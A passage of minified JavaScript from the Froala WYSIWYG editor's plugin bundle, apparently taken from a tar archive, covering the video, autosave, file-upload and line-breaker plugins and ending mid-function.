8 and IE 9.",w.shared.vid_exit_flag=!1,{_init:function oe(){w.opts.videoResponsive&&(w.opts.videoResize=!1),function e(){w.events.on("drop",H,!0),w.events.on("mousedown window.mousedown",N),w.events.on("window.touchmove",Y),w.events.on("mouseup window.mouseup",V),w.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&V()}),w.events.on("video.hideResizer commands.undo commands.redo element.dropped",function(){V(!0)}),w.events.on("filestack-init-video",function(){n()})}(),w.helpers.isMobile()&&(w.events.$on(w.$el,"touchstart","span.fr-video",function(){o=!1}),w.events.$on(w.$el,"touchmove",function(){o=!0})),w.events.on("html.set",Q),Q(),w.events.$on(w.$el,"mousedown","span.fr-video",function(e){e.stopPropagation(),(w.browser.msie||w.browser.edge)&&(e.target.innerText||(e.target.dragDrop(),t.call(this,e)))}),w.events.$on(w.$el,"click touchend","span.fr-video",function(e){if(e.target.innerText.length||"false"==A(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t.call(this,e)}),w.events.on("keydown",function(e){var t=e.which;return!E||t!=we.KEYCODE.BACKSPACE&&t!=we.KEYCODE.DELETE?E&&t==we.KEYCODE.ESC?(V(!0),e.preventDefault(),!1):E&&t!=we.KEYCODE.F10&&!w.keys.isBrowserAction(e)?(e.preventDefault(),!1):void 0:(e.preventDefault(),q(),w.undo.saveStep(),!1)},!0),w.events.on("toolbar.esc",function(){if(E)return w.events.disableBlur(),w.events.focus(),!1},!0),w.events.on("toolbar.focusEditor",function(){if(E)return!1},!0),w.events.on("keydown",function(){w.$el.find("span.fr-video:empty").remove()}),w.$wp&&(O(),w.events.on("contentChanged",O)),n(!0),G(!0)},showInsertPopup:function ie(){var e=w.$tb.find('.fr-command[data-cmd="insertVideo"]'),t=w.popups.get("video.insert");if(t||(t=n()),d(),!t.hasClass("fr-active"))if(w.popups.refresh("video.insert"),w.popups.setContainer("video.insert",w.$tb),e.isVisible()){var o=w.button.getPosition(e),i=o.left,a=o.top;w.popups.show("video.insert",i,a,e.outerHeight())}else w.position.forSelection(t),w.popups.show("video.insert")},showLayer:function ae(e){var t,o,i=w.popups.get("video.insert");if(!E&&!w.opts.toolbarInline){var a=w.$tb.find('.fr-command[data-cmd="insertVideo"]');t=a.offset().left,o=a.offset().top+(w.opts.toolbarBottom?10:a.outerHeight()-10)}w.opts.toolbarInline&&(o=i.offset().top-w.helpers.getPX(i.css("margin-top")),i.hasClass("fr-above")&&(o+=i.outerHeight())),i.find(".fr-layer").removeClass("fr-active"),i.find(".fr-".concat(e,"-layer")).addClass("fr-active"),w.popups.show("video.insert",t,o,0),w.accessibility.focusPopup(i)},refreshByURLButton:function re(e){var t=w.popups.get("video.insert");t&&t.find(".fr-video-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshEmbedButton:function ne(e){var t=w.popups.get("video.insert");t&&t.find(".fr-video-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshUploadButton:function se(e){var t=w.popups.get("video.insert");t&&t.find(".fr-video-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:K,insertByURL:function de(e){var t=!!document.getElementById("videoPluginAutoplay")&&document.getElementById("videoPluginAutoplay").checked;if(void 0===e){var o=(e=(w.popups.get("video.insert").find('.fr-video-by-url-layer input[type="text"]').val()||"").trim()).match(/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/?(showcase\/)*([0-9))([a-z]*\/)*([0-9]{6,11})[?]?.*/);if(o&&7==o.length){var i=o[6],a=e.substring(0,e.lastIndexOf("/")),r=e.substring(e.lastIndexOf("/")+1,e.length);e=r.includes("?h=")||r.includes("?v=")||i===r?("".concat(a,"/").concat(r)||"").trim():("".concat(a,"?h=").concat(r)||"").trim()}}var n=null;if(/^http/.test(e)||(e="https://".concat(e)),w.helpers.isURL(e))for(var s=0;s<we.VIDEO_PROVIDERS.length;s++){var d=we.VIDEO_PROVIDERS[s],l="autoplay=1&mute=1";if(d.html.includes("autoplay=1")&&document.getElementById("videoPluginAutoplay").checked)d.html=d.html,document.getElementById("videoPluginAutoplay").checked=!1;else if(t){var f=d.html.indexOf("{url}")+5;d.html=[d.html.slice(0,f),l,d.html.slice(f)].join(""),t=!1,document.getElementById("videoPluginAutoplay").checked=!1}else(d=we.VIDEO_PROVIDERS[s]).html=d.html.replace(l,"");if(d.test_regex.test(e)&&new RegExp(w.opts.videoAllowedProviders.join("|")).test(d.provider)){n=e.replace(d.url_regex,d.url_text),n=d.html.replace(/\{url\}/,n);break}}n?h(n):(y(w.language.translate("Something went wrong. Please try again.")),w.events.trigger("video.linkError",[e]))},insertEmbed:function le(e){void 0===e&&(e=w.popups.get("video.insert").find(".fr-video-embed-layer textarea").val()||""),0!==e.length&&we.VIDEO_EMBED_REGEX.test(e)?h(e):(y(w.language.translate("Something went wrong. Please try again.")),w.events.trigger("video.codeError",[e]))},insert:h,align:function fe(e){E.removeClass("fr-fvr fr-fvl"),!w.opts.htmlUntouched&&w.opts.useClasses?"left"==e?E.addClass("fr-fvl"):"right"==e&&E.addClass("fr-fvr"):Z(E,W(),e),te(),M(),r(),w.selection.clear()},refreshAlign:function pe(e){if(!E)return!1;e.find(">*").first().replaceWith(w.icon.create("video-align-".concat(j())))},refreshAlignOnShow:function ce(e,t){E&&t.find('.fr-command[data-param1="'.concat(j(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function ve(e){E.removeClass("fr-dvi fr-dvb"),!w.opts.htmlUntouched&&w.opts.useClasses?"inline"==e?E.addClass("fr-dvi"):"block"==e&&E.addClass("fr-dvb"):Z(E,e,j()),te(),M(),r(),w.selection.clear()},refreshDisplayOnShow:function ue(e,t){E&&t.find('.fr-command[data-param1="'.concat(W(),'"]')).addClass("fr-active").attr("aria-selected",!0)},remove:q,hideProgressBar:d,showSizePopup:function ge(){var e=w.popups.get("video.size");e||(e=G()),d(),w.popups.refresh("video.size"),w.popups.setContainer("video.size",w.$sc);var t=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video")),o=t.offset().left+t.outerWidth()/2,i=t.offset().top+t.height();w.popups.show("video.size",o,i,t.height(),!0)},replace:function he(){var e=w.popups.get("video.insert");e||(e=n()),w.popups.isVisible("video.insert")||(d(),w.popups.refresh("video.insert"),w.popups.setContainer("video.insert",w.$sc));var t=E.offset().left+E.outerWidth()/2,o=E.offset().top+E.height();w.popups.show("video.insert",t,o,E.outerHeight(),!0)},back:function e(){E?(w.events.disableBlur(),E[0].click()):(w.events.disableBlur(),w.selection.restore(),w.events.enableBlur(),w.popups.hide("video.insert"),w.toolbar.showInline())},setSize:function me(e,t){if(E){var o=w.popups.get("video.size"),i=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video"));i.css("width",e||o.find('input[name="width"]').val()),i.css("height",t||o.find('input[name="height"]').val()),i.get(0).style.width&&i.removeAttr("width"),i.get(0).style.height&&i.removeAttr("height"),o.find("input:focus").blur(),setTimeout(function(){E.trigger("click")},w.helpers.isAndroid()?50:0)}},get:function be(){return E},showProgressBar:R,_editVideo:l,setAutoplay:function ye(){var e;if(E.find("iframe, embed, audio").get(0))(e=E.find("iframe, embed, audio")).get(0).src.includes("autoplay=1")?(ee("#FFFFFF"),e.get(0).src=e.get(0).src.replace("&autoplay=1","")):(ee("#D6D6D6"),e.get(0).src=e.get(0).src+"&autoplay=1");else if((e=E.find("iframe, embed, video")).get(0).outerHTML.includes("autoplay"))ee("#FFFFFF"),e.get(0).outerHTML=e.get(0).outerHTML.replace("autoplay","");else{ee("#D6D6D6");var t=e.get(0).outerHTML.indexOf("class")-1;e.get(0).outerHTML=[e.get(0).outerHTML.slice(0,t),"autoplay",e.get(0).outerHTML.slice(t)].join("")}},insertHtmlVideo:x}},we.RegisterCommand("insertVideo",{title:"Insert Video",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("video.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("video.insert")):this.video.showInsertPopup()},plugin:"video"}),we.DefineIcon("insertVideo",{NAME:"video-camera",FA5NAME:"camera",SVG_KEY:"insertVideo"}),we.DefineIcon("videoByURL",{NAME:"link",SVG_KEY:"insertLink"}),we.RegisterCommand("videoByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-by-url")},refresh:function(e){this.video.refreshByURLButton(e)}}),we.DefineIcon("videoEmbed",{NAME:"code",SVG_KEY:"codeView"}),we.RegisterCommand("videoEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-embed")},refresh:function(e){this.video.refreshEmbedButton(e)}}),we.DefineIcon("videoUpload",{NAME:"upload",SVG_KEY:"upload"}),we.RegisterCommand("videoUpload",{title:"Upload Video",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-upload")},refresh:function(e){this.video.refreshUploadButton(e)}}),we.RegisterCommand("videoInsertByURL",{undo:!0,focus:!0,callback:function(){this.video.insertByURL()}}),we.RegisterCommand("videoInsertEmbed",{undo:!0,focus:!0,callback:function(){this.video.insertEmbed()}}),we.DefineIcon("videoDisplay",{NAME:"star",SVG_KEY:"star"}),we.RegisterCommand("videoDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.video.display(t)},refresh:function(e){this.opts.videoTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.video.refreshDisplayOnShow(e,t)}}),we.DefineIcon("video-align",{NAME:"align-left",SVG_KEY:"align Left"}),we.DefineIcon("video-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),we.DefineIcon("video-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),we.DefineIcon("video-align-center",{NAME:"align-justify",SVG_KEY:"alignJustify"}),we.DefineIcon("videoAlign",{NAME:"align-center",SVG_KEY:"alignCenter"}),we.RegisterCommand("videoAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=we.COMMANDS.videoAlign.options;for(var o in t)t.hasOwnProperty(o)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="videoAlign" data-param1="'.concat(o,'" title="').concat(this.language.translate(t[o]),'">').concat(this.icon.create("video-align-".concat(o)),'<span class="fr-sr-only">').concat(this.language.translate(t[o]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.video.align(t)},refresh:function(e){this.video.refreshAlign(e)},refreshOnShow:function(e,t){this.video.refreshAlignOnShow(e,t)}}),we.DefineIcon("videoReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),we.RegisterCommand("videoReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.video.replace()}}),we.DefineIcon("videoRemove",{NAME:"trash",SVG_KEY:"remove"}),we.RegisterCommand("videoRemove",{title:"Remove",callback:function(){this.video.remove()}}),we.DefineIcon("autoplay",{NAME:"autoplay",SVG_KEY:"autoplay"}),we.RegisterCommand("autoplay",{undo:!1,focus:!1,popup:!0,title:"Autoplay",callback:function(){this.video.setAutoplay()}}),we.DefineIcon("videoSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),we.RegisterCommand("videoSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.video.showSizePopup()}}),we.DefineIcon("videoBack",{NAME:"arrow-left",SVG_KEY:"back"}),we.RegisterCommand("videoBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.video.back()},refresh:function(e){this.video.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().addClass("fr-hidden"))}}),we.RegisterCommand("videoDismissError",{title:"OK",undo:!1,callback:function(){this.video.hideProgressBar(!0)}}),we.RegisterCommand("videoSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.video.setSize()}})}); plugins/save.min.js 0000674 00000004225 00000000000 0010252 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{saveInterval:1e4,saveURL:null,saveParams:{},saveParam:"body",saveMethod:"POST"}),e.PLUGINS.save=function(i){var f=i.$,n=null,l=null,t=!1,v=1,c=2,s={};function u(e,t){i.events.trigger("save.error",[{code:e,message:s[e]},t])}function a(e){void 0===e&&(e=i.html.get());var n=e,t=i.events.trigger("save.before",[e]);if(!1===t)return!1;if("string"==typeof t&&(e=t),i.opts.saveURL){var s={};for(var a in i.opts.saveParams)if(i.opts.saveParams.hasOwnProperty(a)){var o=i.opts.saveParams[a];s[a]="function"==typeof o?o.call(this):o}var r={};r[i.opts.saveParam]=e,f(this).ajax({method:i.opts.saveMethod,url:i.opts.saveURL,data:Object.assign(r,s),crossDomain:i.opts.requestWithCORS,withCredentials:i.opts.requestWithCredentials,headers:i.opts.requestHeaders,done:function(e,t,s){l=n,i.events.trigger("save.after",[e])},fail:function(e){u(c,e.response||e.responseText)}})}else u(v)}function o(){clearTimeout(n),n=setTimeout(function(){var e=i.html.get();(l!=e||t)&&(t=!1,a(l=e))},0)}return s[v]="Missing saveURL option.",s[c]="Something went wrong during save.",{_init:function r(){if(i.opts.letteringClass)for(var e=i.opts.letteringClass,t=i.$el.find(".".concat(e)).length,s=0;s<t;s++)i.$el.find(".".concat(e))[s].innerHTML=i.$el.find(".".concat(e))[s].innerText.replace(/([\w'-]+|[?.",])/g,"<span class = 'fr-word-select'>$1</span>");i.opts.saveInterval&&(l=i.html.get(),i.events.on("contentChanged",function(){setTimeout(o,i.opts.saveInterval)}),i.events.on("keydown destroy",function(){clearTimeout(n)}))},save:a,reset:function e(){o(),t=!1},force:function d(){t=!0}}},e.DefineIcon("save",{NAME:"floppy-o",FA5NAME:"save"}),e.RegisterCommand("save",{title:"Save",undo:!1,focus:!1,refreshAfterCallback:!1,callback:function(){this.save.save()},plugin:"save"})}); plugins/file.min.js 0000674 00000030002 00000000000 0010223 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(m){"use strict";m=m&&m.hasOwnProperty("default")?m["default"]:m,Object.assign(m.POPUP_TEMPLATES,{"file.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_PROGRESS_BAR_]"}),Object.assign(m.DEFAULTS,{fileUpload:!0,fileUploadURL:null,fileUploadParam:"file",fileUploadParams:{},fileUploadToS3:!1,fileUploadToAzure:!1,fileUploadMethod:"POST",fileMaxSize:10485760,fileAllowedTypes:["*"],fileInsertButtons:["fileBack","|"],fileUseSelectedText:!1}),m.PLUGINS.file=function(T){var i,u=T.$,A="https://i.froala.com/upload",c=2,v=3,g=4,S=5,P=6,o={};function w(){var e=T.popups.get("file.insert");e||(e=l()),e.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),e.find(".fr-file-progress-bar-layer").addClass("fr-active"),e.find(".fr-buttons").hide(),r(T.language.translate("Uploading"),0)}function a(e){var t=T.popups.get("file.insert");t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-file-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e&&(T.events.focus(),T.popups.hide("file.insert")))}function r(e,t){var o=T.popups.get("file.insert");if(o){var i=o.find(".fr-file-progress-bar-layer");i.find("h3").text(e+(t?" ".concat(t,"%"):"")),i.removeClass("fr-error"),t?(i.find("div").removeClass("fr-indeterminate"),i.find("div > span").css("width","".concat(t,"%"))):i.find("div").addClass("fr-indeterminate")}}function h(e,t,o,i){var r;T.edit.on(),T.events.focus(!0),T.selection.restore(),T.opts.fileUseSelectedText&&T.selection.text().length&&(t=T.selection.text());var a='<a href="'.concat(e,'" id="fr-inserted-file" ');if(void 0!==i)for(r in i)i.hasOwnProperty(r)&&"link"!=r&&(a+="".concat(r,'="').concat(i[r],'" '));-1==a.indexOf(' class="')&&(a+='class="fr-file" '),a+=">".concat(t,"</a>"),T.html.insert(a);var n=T.$el.find("#fr-inserted-file");n.removeAttr("id"),T.popups.hide("file.insert"),T.undo.saveStep(),f(),T.events.trigger("file.inserted",[n,o])}function k(e,t,o){var i=this.status,r=this.response,a=this.responseXML,n=this.responseText;try{if(T.opts.fileUploadToS3||T.opts.fileUploadToAzure)if(201===i){var s;if(T.opts.fileUploadToAzure){if(!1===T.events.trigger("file.uploadedToAzure",[this.responseURL,o,r],!0))return T.edit.on(),!1;s=t}else s=function p(e){try{var t=u(e).find("Location").text(),o=u(e).find("Key").text();return!1===T.events.trigger("file.uploadedToS3",[t,o,e],!0)?(T.edit.on(),!1):t}catch(i){return x(g,e),!1}}(a);s&&h(s,e,r||a)}else x(g,r||a);else if(200<=i&&i<300){var l=function f(e){try{if(!1===T.events.trigger("file.uploaded",[e],!0))return T.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(x(c,e),!1)}catch(o){return x(g,e),!1}}(n);l&&h(l.link,e,r||n,l)}else x(v,r||n)}catch(d){x(g,r||n)}}function R(){x(g,this.response||this.responseText||this.responseXML)}function C(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;r(T.language.translate("Uploading"),t)}}function x(e,t){T.edit.on(),function i(e){w();var t=T.popups.get("file.insert").find(".fr-file-progress-bar-layer");t.addClass("fr-error");var o=t.find("h3");o.text(e),T.events.disableBlur(),o.focus()}(T.language.translate("Something went wrong. Please try again.")),T.events.trigger("file.error",[{code:e,message:o[e]},t])}function z(){T.edit.on(),a(!0)}function n(e){if(void 0!==e&&0<e.length){var t=e[0].type;if(e[0].name&&e[0].name.endsWith(".msg")&&(t="application/vnd.ms-outlook"),!1===T.events.trigger("file.beforeUpload",[e]))return!1;var o,i=e[0];if(!(null!==T.opts.fileUploadURL&&T.opts.fileUploadURL!==A||T.opts.fileUploadToS3||T.opts.fileUploadToAzure))return function y(a){var n=new FileReader;n.onload=function(){for(var e=n.result,t=atob(n.result.split(",")[1]),o=[],i=0;i<t.length;i++)o.push(t.charCodeAt(i));var r=a.type;a.name&&a.name.endsWith(".msg")&&(r="application/vnd.ms-outlook"),e=window.URL.createObjectURL(new Blob([new Uint8Array(o)],{type:r})),T.file.insert(e,a.name,null)},w(),n.readAsDataURL(a)}(i),!1;if(i.size>T.opts.fileMaxSize)return x(S),!1;if(T.opts.fileAllowedTypes.indexOf("*")<0&&T.opts.fileAllowedTypes.indexOf(t.replace(/file\//g,""))<0)return x(P),!1;if(T.drag_support.formdata&&(o=T.drag_support.formdata?new FormData:null),o){var r;if(!1!==T.opts.fileUploadToS3)for(r in o.append("key",T.opts.fileUploadToS3.keyStart+(new Date).getTime()+"-"+(i.name||"untitled")),o.append("success_action_status","201"),o.append("X-Requested-With","xhr"),o.append("Content-Type",t),T.opts.fileUploadToS3.params)T.opts.fileUploadToS3.params.hasOwnProperty(r)&&o.append(r,T.opts.fileUploadToS3.params[r]);for(r in T.opts.fileUploadParams)T.opts.fileUploadParams.hasOwnProperty(r)&&o.append(r,T.opts.fileUploadParams[r]);o.append(T.opts.fileUploadParam,i);var a,n,s=T.opts.fileUploadURL;T.opts.fileUploadToS3&&(s=T.opts.fileUploadToS3.uploadURL?T.opts.fileUploadToS3.uploadURL:"https://".concat(T.opts.fileUploadToS3.region,".amazonaws.com/").concat(T.opts.fileUploadToS3.bucket));var l=T.opts.fileUploadMethod;T.opts.fileUploadToAzure&&(s=T.opts.fileUploadToAzure.uploadURL?"".concat(T.opts.fileUploadToAzure.uploadURL,"/").concat(i.name):encodeURI("https://".concat(T.opts.fileUploadToAzure.account,".blob.core.windows.net/").concat(T.opts.fileUploadToAzure.container,"/").concat(i.name)),a=s,T.opts.fileUploadToAzure.SASToken&&(s+=T.opts.fileUploadToAzure.SASToken),l="PUT");var p=T.core.getXHR(s,l);if(T.opts.fileUploadToAzure){var f=(new Date).toUTCString();if(!T.opts.fileUploadToAzure.SASToken&&T.opts.fileUploadToAzure.accessKey){var d=T.opts.fileUploadToAzure.account,u=T.opts.fileUploadToAzure.container;if(T.opts.fileUploadToAzure.uploadURL){var c=T.opts.fileUploadToAzure.uploadURL.split("/");u=c.pop(),d=c.pop().split(".")[0]}var v="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(f,"\nx-ms-version:2019-07-07"),g=encodeURI("/"+d+"/"+u+"/"+i.name),h=l+"\n\n\n"+i.size+"\n\n"+t+"\n\n\n\n\n\n\n"+v+"\n"+g,U=T.cryptoJSPlugin.cryptoJS.HmacSHA256(h,T.cryptoJSPlugin.cryptoJS.enc.Base64.parse(T.opts.fileUploadToAzure.accessKey)).toString(T.cryptoJSPlugin.cryptoJS.enc.Base64),m="SharedKey "+d+":"+U;n=U,p.setRequestHeader("Authorization",m)}for(r in p.setRequestHeader("x-ms-version","2019-07-07"),p.setRequestHeader("x-ms-date",f),p.setRequestHeader("Content-Type",t),p.setRequestHeader("x-ms-blob-type","BlockBlob"),T.opts.fileUploadParams)T.opts.fileUploadParams.hasOwnProperty(r)&&p.setRequestHeader(r,T.opts.fileUploadParams[r]);for(r in T.opts.fileUploadToAzure.params)T.opts.fileUploadToAzure.params.hasOwnProperty(r)&&p.setRequestHeader(r,T.opts.fileUploadToAzure.params[r])}p.onload=function(){k.call(p,i.name,a,n)},p.onerror=R,p.upload.onprogress=C,p.onabort=z,w();var b=T.popups.get("file.insert");b&&(b.off("abortUpload"),b.on("abortUpload",function(){4!==p.readyState&&p.abort()})),p.send(T.opts.fileUploadToAzure?i:o)}}}function s(){a()}function l(e){if(e)return T.popups.onHide("file.insert",s),!0;var t;T.opts.fileUpload||T.opts.fileInsertButtons.splice(T.opts.fileInsertButtons.indexOf("fileUpload"),1),t='<div class="fr-buttons fr-tabs">'.concat(T.button.buildList(T.opts.fileInsertButtons),"</div>");var o="";T.opts.fileUpload&&(o='<div class="fr-file-upload-layer fr-layer fr-active" id="fr-file-upload-layer-'.concat(T.id,'"><strong>').concat(T.language.translate("Drop file"),"</strong><br>(").concat(T.language.translate("or click"),')<div class="fr-form"><input type="file" name="').concat(T.opts.fileUploadParam,'" accept="').concat(0<=T.opts.fileAllowedTypes.indexOf("*")?"/":"").concat(T.opts.fileAllowedTypes.join(", ").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-file-upload-layer-').concat(T.id,'" role="button"></div></div>'));var i={buttons:t,upload_layer:o,progress_bar:'<div class="fr-file-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="fileDismissError" tabIndex="2" role="button">OK</button></div></div>'},r=T.popups.create("file.insert",i);return function a(o){T.events.$on(o,"dragover dragenter",".fr-file-upload-layer",function(){return u(this).addClass("fr-drop"),!1},!0),T.events.$on(o,"dragleave dragend",".fr-file-upload-layer",function(){return u(this).removeClass("fr-drop"),!1},!0),T.events.$on(o,"drop",".fr-file-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),u(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;t&&t.files&&(o.data("instance")||T).file.upload(t.files)},!0),T.helpers.isIOS()&&T.events.$on(o,"touchstart",'.fr-file-upload-layer input[type="file"]',function(){u(this).trigger("click")}),T.events.$on(o,"change",'.fr-file-upload-layer input[type="file"]',function(){if(this.files){var e=o.data("instance")||T;e.events.disableBlur(),o.find("input:focus").blur(),e.events.enableBlur(),e.file.upload(this.files)}u(this).val("")},!0)}(r),r}function t(e){T.node.hasClass(e,"fr-file")}function p(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var o=t.files[0];if(o&&"undefined"!=typeof o.type){if(o.type.indexOf("image")<0){if(!T.opts.fileUpload)return e.preventDefault(),e.stopPropagation(),!1;T.markers.remove(),T.markers.insertAtPoint(e.originalEvent),T.$el.find(".fr-marker").replaceWith(m.MARKERS),T.popups.hideAll();var i=T.popups.get("file.insert");return i||(i=l()),T.popups.setContainer("file.insert",T.$sc),T.popups.show("file.insert",e.originalEvent.pageX,e.originalEvent.pageY),w(),n(t.files),e.preventDefault(),e.stopPropagation(),!1}}else o.type.indexOf("image")<0&&(e.preventDefault(),e.stopPropagation())}}function f(){var e,t=Array.prototype.slice.call(T.el.querySelectorAll("a.fr-file")),o=[];for(e=0;e<t.length;e++)o.push(t[e].getAttribute("href"));if(i)for(e=0;e<i.length;e++)o.indexOf(i[e].getAttribute("href"))<0&&T.events.trigger("file.unlink",[i[e]]);i=t}return o[1]="File cannot be loaded from the passed link.",o[c]="No link in upload response.",o[v]="Error during file upload.",o[g]="Parsing response failed.",o[S]="File is too large.",o[P]="File file type is invalid.",o[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",{_init:function d(){!function e(){T.events.on("drop",p),T.events.$on(T.$win,"keydown",function(e){var t=e.which,o=T.popups.get("file.insert");o&&t===m.KEYCODE.ESC&&o.trigger("abortUpload")}),T.events.on("destroy",function(){var e=T.popups.get("file.insert");e&&e.trigger("abortUpload")})}(),T.events.on("link.beforeRemove",t),T.$wp&&(f(),T.events.on("contentChanged",f)),l(!0)},showInsertPopup:function U(){var e=T.$tb.find('.fr-command[data-cmd="insertFile"]'),t=T.popups.get("file.insert");if(t||(t=l()),a(),!t.hasClass("fr-active"))if(T.popups.refresh("file.insert"),T.popups.setContainer("file.insert",T.$tb),e.isVisible){var o=T.button.getPosition(e),i=o.left,r=o.top;T.popups.show("file.insert",i,r,e.outerHeight())}else T.position.forSelection(t),T.popups.show("file.insert")},upload:n,insert:h,back:function e(){T.events.disableBlur(),T.selection.restore(),T.events.enableBlur(),T.popups.hide("file.insert"),T.toolbar.showInline()},hideProgressBar:a}},m.DefineIcon("insertFile",{NAME:"file-o",FA5NAME:"file",SVG_KEY:"insertFile"}),m.RegisterCommand("insertFile",{title:"Upload File",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("file.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("file.insert")):this.file.showInsertPopup()},plugin:"file"}),m.DefineIcon("fileBack",{NAME:"arrow-left",SVG_KEY:"back"}),m.RegisterCommand("fileBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.file.back()},refresh:function(e){this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),m.RegisterCommand("fileDismissError",{title:"OK",callback:function(){this.file.hideProgressBar(!0)}})}); plugins/line_breaker.min.js 0000674 00000015630 00000000000 0011740 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(v){"use strict";v=v&&v.hasOwnProperty("default")?v["default"]:v,Object.assign(v.DEFAULTS,{lineBreakerTags:["table","hr","form","dl","span.fr-video",".fr-embedly","img"],lineBreakerOffset:15,lineBreakerHorizontalOffset:10}),v.PLUGINS.lineBreaker=function(d){var m,t,r,h=d.$;function l(e,t){var n,a,r,o,i,s,l,f;if(null==e)i=(o=t.parent()).offset().top,n=(l=t.offset().top)-Math.min((l-i)/2,d.opts.lineBreakerOffset),r=o.outerWidth(),a=o.offset().left;else if(null==t)(s=(o=e.parent()).offset().top+o.outerHeight())<(f=e.offset().top+e.outerHeight())&&(s=(o=h(o).parent()).offset().top+o.outerHeight()),n=f+Math.min(Math.abs(s-f)/2,d.opts.lineBreakerOffset),r=o.outerWidth(),a=o.offset().left;else{o=e.parent();var p=e.offset().top+e.height(),c=t.offset().top;if(c<p)return!1;n=(p+c)/2,r=o.outerWidth(),a=o.offset().left}if(d.opts.iframe){var u=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-top")),g=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-left"));a+=d.$iframe.offset().left-d.helpers.scrollLeft()+g,n+=d.$iframe.offset().top-d.helpers.scrollTop()+u}d.$box.append(m),m.css("top",n-d.win.pageYOffset),m.css("left",a-d.win.pageXOffset),m.css("width",r),m.data("tag1",e),m.data("tag2",t),m.addClass("fr-visible").data("instance",d)}function f(e){if(e){var t=h(e);if(0===d.$el.find(t).length)return null;if(e.nodeType!=Node.TEXT_NODE&&t.is(d.opts.lineBreakerTags.join(",")))return t;if(0<t.parents(d.opts.lineBreakerTags.join(",")).length)return e=t.parents(d.opts.lineBreakerTags.join(",")).get(0),0!==d.$el.find(h(e)).length&&h(e).is(d.opts.lineBreakerTags.join(","))?h(e):null}return null}function o(e,t){var n=d.doc.elementFromPoint(e,t);return 